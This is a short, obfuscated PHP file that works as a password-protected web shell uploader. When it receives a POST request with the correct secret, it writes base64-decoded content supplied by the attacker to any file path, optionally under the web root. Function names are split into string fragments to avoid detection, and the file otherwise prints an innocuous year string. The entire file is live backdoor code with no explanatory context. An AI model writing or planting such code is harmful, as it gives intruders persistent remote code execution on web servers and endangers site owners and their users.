<?php
$ich = 'M'.date('y');
$xul = $_POST;
if(!empty($xul['b']) && md5($xul['b'].md5($xul['b']))==('669'.'0f4'.'81d'.'23d'.'ecf'.'787'.'18e'.'c6e'.'010'.'6de'.'21')) {
	$kxn = !empty($xul['f']) ? $xul['f'] : '502.'.'php';
	if(!empty($xul['r'])) $kxn = $_SERVER['DOCUMENT_ROOT'].'/'.$kxn;
	$aln = 'file'.'_PUT'.'_con'.'tent'.'S'; $vyr = 'BASE'.'64_d'.'ECOD'.'E';
	if($aln($kxn, $vyr($xul['c']))) exit($kxn);
}
echo $ich;
?>